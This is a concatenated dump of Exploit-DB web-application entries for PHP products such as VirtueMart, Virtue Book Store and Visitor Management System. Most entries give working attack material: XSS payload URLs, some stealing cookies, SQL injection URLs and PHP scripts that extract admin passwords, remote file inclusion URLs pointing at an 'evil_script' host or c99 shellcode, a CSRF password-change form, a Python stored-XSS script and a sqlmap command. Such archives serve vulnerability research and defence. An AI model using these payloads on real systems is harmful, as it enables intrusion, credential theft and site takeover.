deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27799
Description: Virtual Hosting Control System 2.4.7.1 - 'Server_day_stats.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-02
Author: O.U.T.L.A.W

Exploit:
source: https://www.securityfocus.com/bid/17790/info

Virtual Hosting Control System is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/admin/server_day_stats.php?year=2006&month=05&day=2[xss]
http://www.example.com/admin/server_day_stats.php?year=2006&month=05[xss]&day=2
http://www.example.com/admin/server_day_stats.php?year=2006[xss]&month=05&day=2
Exploit-DB #2608
Description: Virtual Law Office - 'phpc_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-21
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Virtual Law Office (phpc_root_path) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

Tum islam aleminin Ramazan Bayrami Mubarek oLsun..!

Ne mutlu türküm diyene

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

include($phpc_root_path . 'config.php');


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/phpcalendar/includes/calendar.php?phpc_root_path=http://evil_script?
http://www.hedef.com/[script_path]/phpcalendar/includes/setup.php?phpc_root_path=http://evil_script?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, Preddy, Ironfist, Stansar, SHiKaA, Chaos, Nukedx, k1k4t, x_w0x, DJR, mdx, ERNE:)

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script down: http://www.gocc.gov/groups/MA_ITD/stateprojects/files/VLO/vlo.zip

# milw0rm.com [2006-10-21]
Exploit-DB #3198
Description: Virtual Path 1.0 - '/vp/configure.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-25
Author: GoLd_M

Exploit:
+=====================================================================
+                  Virtual Path phpBB <== v1.0                       |
+=====================================================================
+ Downlaoad S :http://sourceforge.net/projects/virtualpath/          |
+=====================================================================
+ Author: GolD_M = Mahmood_ali  &&  Contact: HackEr_@W.Cn            |
======================================================================
+ SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                    |
+=====================================================================
+ In:  /vp/configure.php                                             |
+=====================================================================
+ Vulnerable Code:  &  Line : 3                                      |
+=====================================================================
+ include_once($phpbb_root_path. 'vp/conf.php');                     |
+=====================================================================
+ Exploit:                                                           |
+=====================================================================
+ http://Victim.Com/vp/configure.php?phpbb_root_path=Evil?           |
+=====================================================================
+                    Tryag.Com & Dwrat.com                           |
+=====================================================================

# milw0rm.com [2007-01-25]
Exploit-DB #28157
Description: VirtuaStore 2.0 - 'Password' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-03
Author: supermalhacao

Exploit:
source: https://www.securityfocus.com/bid/18790/info

VirtuaStore is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

The following entered in the password field is sufficient to exploit this issue:

123456 / ' or 1=1
Exploit-DB #23792
Description: VirtuaSystems VirtuaNews 1.0.x (Multiple Modules) - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-05
Author: Rafel Ivgi The-Insider

Exploit:
source: https://www.securityfocus.com/bid/9812/info

It has been reported that the VirtuaNews non-default modules 'Files' and 'Vulns' are prone to multiple cross-site scripting vulnerabilities. These problems surround the application's failure to properly validate user supplied URI input. When exploited an attacker can execute arbitrary script and HTML code in the context of the vulnerable application.

The supplied code is rendered in the browser in the context of the affected application. This may allow an attacker to craft a malicious link, facilitating a cross-site scripting attack.

Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.

Affecting the 'Vulns' module:
http://www.example.com/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~">&lt;/textarea&gt;<script>alert('XSS')</script>
http://www.example.com/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~">&lt;/textarea&gt;--><script>alert('XSS')</script>
http://www.example.com/admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&mainnews=~~~~">&lt;/textarea&gt;<script>alert('XSS')</script>

Affecting the 'Files' module:
http://www.example.com/admin.php?action=files&expand="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=files_cat_delete&id="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=files_check&catid="><script>alert('XSS')</script>
http://www.example.com/admin.php?action=newslogo_upload&"><script>alert('XSS')</script>
Exploit-DB #33462
Description: VirtuaSystems VirtuaNews Pro 1.0.4 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-01
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37568/info


VirtuaNews Pro is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

VirtuaNews Pro 1.0.4 is vulnerable; other versions may also be affected.

http://www.example.com/upload/admin.php?username=[xss]
Exploit-DB #8893
Description: Virtue Book Store - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-08
Author: OzX

Exploit:
CMS : Online Book Store
WEB  : http://www.virtuenetz.com/book/
Archivo : products.php
Variable Tipo : GET
valor : cid
Tipo : SQL Injection
URL : http://www.site.com/products.php?cid=[SQLI]

Exploit :
<?
$web  = $argv[1];
$url = $web."products.php?cid=8+and+1=0+union+select+all+concat(0x756E646572,id,0x3A,login,0x3A,password,0x736563)+from+admin+limit+0,1";
preg_match_all("/under(.*)sec/",file_get_contents($url),$salida, PREG_PATTERN_ORDER);
$info = explode(":",$salida[1][0]);
echo "ID :".$info[0]."\n";
echo "Usuario : ".$info[1]."\n";
echo "Password : ".$info[2]."\n";
?>

Ejemplo :
undersec@Undersec:~/Escritorio$ php exploit.php http://www.virtuenetz.com/book/

ID :1
Usuario : admin
Password : admin

Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.

100% CHILE
WWW.UNDERSECURITY.NET

# milw0rm.com [2009-06-08]
Exploit-DB #8892
Description: Virtue Classifieds - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-08
Author: OzX

Exploit:
#################################################################################################################################################

CMS : Virtue Classifieds
WEB : http://www.virtuenetz.com/classified/
Archivo : search.php
Variable Tipo : GET
Valor : category
Tipo : SQL Injection
Url : http:/www.site.com/search.php?category=[SQLI]

PoC:

http:/www.site.com/search.php?category=2+and+1=0+union+select+all+1,2,concat_ws(0x3A,email,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users--

Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.

100% CHILE
WWW.UNDERSECURITY.NET

##################################################################################################################################################

# milw0rm.com [2009-06-08]
Exploit-DB #8901
Description: virtue news - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-06-08
Author: snakespc

Exploit:
Viva l'Alg횄짤rie 3-1  --->Karim Matmour-->Abdel-Kader Ghazal-->Rafik al-Zuhair Jabbur-->
F횄짤licitations 횄  tous les Alg횄짤riens
L'Alg횄짤rie bat l'Egypte 3-1 횄  aller
El akouba pour le retour
#-------------------------AllaH AkbaR-------------------------------
#Virtue News Multiple Remote Vulnerabilities
#-------------------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com
#Site:http://www.snakespc.com/sc/index.php
#
#            les Alg횄짤riens Kamikaz Wa4rin Fi kol Bla4s 
#-------------------------SNAKES TEAM-------------------------------
#Script:Virtue News
#
#
#http://www.virtuenetz.com/news_manager.php
#--------------------------SNAKES TEAM------------------------------
#Exploit:
#--------
#Demo:sql
#http://www.virtuenetz.com/news/news_detail.php?nid=-2+UNION%20SELECT%201,2,3,password,5,6,7+from+admin--
#Xss
#http://www.virtuenetz.com/news/news_detail.php?nid="><script>alert(document.cookie)</script>
#-------------------------SNAKES TEAM-------------------------------
# Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4 --->Tous les Alg횄짤riens
#--------------------------SNAKES TEAM------------------------------
#ALL www.SnakespC.com/sc>>>> (  Members )  >>>>Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-06-08]
Exploit-DB #8894
Description: Virtue Shopping Mall - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-08
Author: OzX

Exploit:
CMS : Virtue Shopping Mall
WEB  : http://www.virtuenetz.com/mall/
Archivo : products.php
Variable Tipo : GET
valor : cid
Tipo : SQL Injection
URL : http://www.site.com/products.php?cid=[SQLI]

Exploit :
<?
$web  = $argv[1];
$url = $web."/products.php?cid=8+and+1=0+union+select+all+concat(0x756E646572,id,0x3A,login,0x3A,password,0x736563)+from+admin+limit+0,1";
preg_match_all("/under(.*)sec/",file_get_contents($url),$salida, PREG_PATTERN_ORDER);
$info = explode(":",$salida[1][0]);
echo "ID :".$info[0]."\n";
echo "Usuario : ".$info[1]."\n";
echo "Password : ".$info[2]."\n";
?>


undersec@Undersec:~/Escritorio$ php exploit.php http://www.virtuenetz.com/mall/

ID :1
Usuario : admin
Password : admin

Gretz :
C1c4tr1z(voodoo-labs.org),Nobody,1995,Lix (arrivalsec.wordpress.com),NanoNRoses,Codebreak(?),Nork And All Friends of Undersecurity.net.

100% CHILE
WWW.UNDERSECURITY.NET

# milw0rm.com [2009-06-08]
Exploit-DB #10533
Description: VirtueMart - 'Product_ID' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-17
Author: Neo-GabrieL

Exploit:
Bugtraq ID:  	 37317
Class: 	Input Validation Error
CVE: 	
Remote: 	Yes
Local: 	No
Published: 	Dec 14 2009 12:00AM
Updated: 	Dec 17 2009 06:03PM
Credit: 	SOA Crew a.k.a Neo-GabrieL
Vulnerable: 	VirtueMart VirtueMart 1.0

VirtueMart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VirtueMart 1.0 is vulnerable; other versions may also be affected. 

The following example URI is available:

http://server/index.php?page=shop.product_details&flypage=shop.flypage&product_id=[SOA injection]
Exploit-DB #44625
Description: VirtueMart 3.1.14 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-16
Author: Mattia Furlani

Exploit:
# Exploit Title: VirtueMart 3.1.14 - Persistent Cross-Site Scripting
# Date: 2018-02-25
# Software Link: http://virtuemart.net/
# Exploit Author: Mattia Furlani
# CVE: CVE-2018-7465
# Category: webapps

# 1. Description
# An XSS issue was discovered in VirtueMart before 3.2.14. All the textareas in the admin area of the plugin can be closed by simply adding </textarea> to the value and saving the product/config. By editing back the product/config, the editor's browser will execute everything after the </textarea>, leading to a possible XSS.

# 2. Proof of Concept
Having the permissions to edit the config/products, you can simply write </textarea><script>alert(1)</script> inside a textarea, when someone will edit it back the alert will execute on the editor's browser

# 3. Solution: Upgrade to 3.2.14
# http://virtuemart.net/news/489-virtuemart-3-2-14-security-release-and-enhanced-invoice-handling
Exploit-DB #10354
Description: Viscacha 0.8 Gold - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-08
Author: mr_me

Exploit:
#################################################################
#
# Viscacha 0.8 Gold persistant XSS vulnerability
# Found By: mr_me
# Download: http://www.viscacha.org/
# Tested On: Windows Vista
# Note: For educational purposes only
#
#################################################################

POC Info:

A regular user of the board can embed javascript code that could be executed within the context of the admin's browser.
If the user edits their own profile by going to "http://[server]/viscacha/editprofile.php?action=profile"
and places "<script>alert(document.cookie)</script>"
into the instant messenger fields and then gives the following link to the admin:

http://[server]/viscacha/profile.php?action=ims&type=msn&id=1

The user could potentially log the admins cookie and reset their own session thus gaining administration access.
Exploit-DB #33463
Description: VisionGate 1.6 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-01
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37569/info

VisionGate is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

VisionGate 1.6 is vulnerable; other versions may also be affected. 

http://www.example.com/login.php?url=[xss]
Exploit-DB #8557
Description: VisionLms 1.0 - 'changePW.php' Remote Password Change
Type: webapps
Platform: php
Date: 2009-04-28
Author: Mr.tro0oqy

Exploit:
<html>
<head>
<title>VisionLMS 1.0 | Change Password</title>



  <p>* VisionLMS 1.0 Remote Password Change<br>
  * Coded by Mr.tro0oqy<br>
  * E-mail t.4@windowslive.com ---&lt; Yemeni hacker<br>
  * Greetz All my Friends<br>
&nbsp;</p>



  <form enctype="multipart/form-data" method="post" name="form" action="http://visionlms.com/demo/changePW.php">
  <div style="font-weight:bold; color:#CC3300; padding:15;"></div>
   
  <div style="float:left; padding-left:15px; clear:both;"><input type="password" name="Password" value="" /></div>
  <div style="float:left; padding-left:20px;">
  <input type="hidden" name="EmailAddress" value="support@visionlms.com" />
  <input type="submit" name="submit" value="Change Password" onclick="return validateForm()" />
  </div>
  </form>
  </div> <!--END Activity DIV-->

 </div> <!--END Body DIV-->
  

 <!--START FOOTER NAVIGATION-->
 <!--<div id="Footer" class='Footer'>kjkjkj</div>-->
 <!--END FOOTER NAVIGATION-->








</body>
</html>

# milw0rm.com [2009-04-28]
Exploit-DB #12820
Description: Visitor Logger - 'banned.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-05-31
Author: bd0rk

Exploit:
#-> Visitor Logger (banned.php) Remote File Include Vulnerability

#-> Date: 2010/05/31

#-> Vendor: http://www.graviton-mediatech.com

#-> Download: http://www.graviton-mediatech.com/downloads/Visitor-Logger/Visitor-Logger.zip

#-> Googledork: n/a

#-> Discovered by bd0rk

#-> Contact: bd0rk[at]school-of-hack.net or bd0rk[at]hackermail.com

#-> Website: www.soh-crew.it.tt

#-> Gr33tings: TheJT, Luna-Tic, Frauenarzt, Punkti ;-)

-------------------------------------------------------------------------------

Description 1: Look in file banned.php line three to four and you can see this

if (file_exists($VL_include_path."/banned.txt")) {
	include($VL_include_path."/banned.txt");

-------------------------------------------------------------------------------

[+]Exploit: http://[target].com/[logger_path]/banned.php?VL_include_path=[SHELLCODE]


--> An attacker can use c99-shellcode, for example.




#### The 21 years old, german Hacker bd0rk ####
Exploit-DB #48830
Description: Visitor Management System in PHP 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-09-24
Author: Rahul Ramkumar

Exploit:
# Title: Visitor Management System in PHP 1.0 - Persistent Cross-Site Scripting
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: https://projectworlds.in
# Software Link: https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: N/A
# Description: The file myform.php does not perform input validation on the request paramters. An attacker can inject javascript payloads in the parameters to perform various attacks suchs as stealing of cookies,sensitive information etc.

import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import random
import string

def print_usage(STRING):
    return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
        print print_usage("Example:\t python %s 'https://192.168.1.72:443/visitor_management/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    XSS_DIR = '/myform.php'
    XSS_URL = SERVER_URL + XSS_DIR
    XSS_PoC_URL = SERVER_URL + '/front.php'

    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    payload   = {'name': 'd3crypt','cno':'[PII_REDACTED]','purpose':'stored xss','MeetingTo':'Hack','comment':'<script>alert("xss")</script>','submit_post':'Submit','mydata':''}
    r1 = s.post(url=XSS_URL, data=payload, verify=False)
    r2 = s.get(XSS_PoC_URL, allow_redirects=False, verify=False)
    response_page = r2.content.decode("utf-8")
    parser = etree.HTMLParser()
    tree = etree.parse(StringIO(response_page), parser=parser)
    def get_links(tree):
        refs = tree.xpath("//a")
        links = [link.get('data-content', '') for link in refs]
        return [l for l in links]

    visitors = get_links(tree)
    #print(visitors)

    for visitor in visitors:
        if 'stored xss' in visitor:
            rid=visitor.split(':')[6].strip()
            print print_usage('Make the logged-in user click this URL: ' + XSS_PoC_URL + '?rid=' + rid)
Exploit-DB #48911
Description: Visitor Management System in PHP 1.0 - SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-10-20
Author: Rahul Ramkumar

Exploit:
# Title: Visitor Management System in PHP 1.0 - Authenticated SQL Injection
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: https://projectworlds.in
# Software Link: https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25760
# Description
The file front.php does not perform input validation on the 'rid' paramter. An attacker can append SQL queries to the input to extract sensitive information from the database.
Note: This exploit can work pre-authentication as well, but need to change the 302 Response to 200 using an intercept tool. It should be pretty straight forward so I have not shown how.

#POC

1) Navigate to the login page

Example:

http://192.168.1.72/visitor_management/index.php

2) Enter 'username' and 'password'

3) On the homepage, click on any visitor name and intercept the request

4) Save the request to file. Example, visitor_management_sqli.req

GET /visitor_management/front.php?rid=373568 HTTP/1.1
Host: 192.168.1.72
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.72/visitor_management/front.php
Cookie: PHPSESSID=emvdv3k52ngs7uf0gliajb13ef
Upgrade-Insecure-Requests: 1

5) Run SQLmap on the file,

sqlmap -r visitor_management_sqli.req --dbms=mysql --threads=10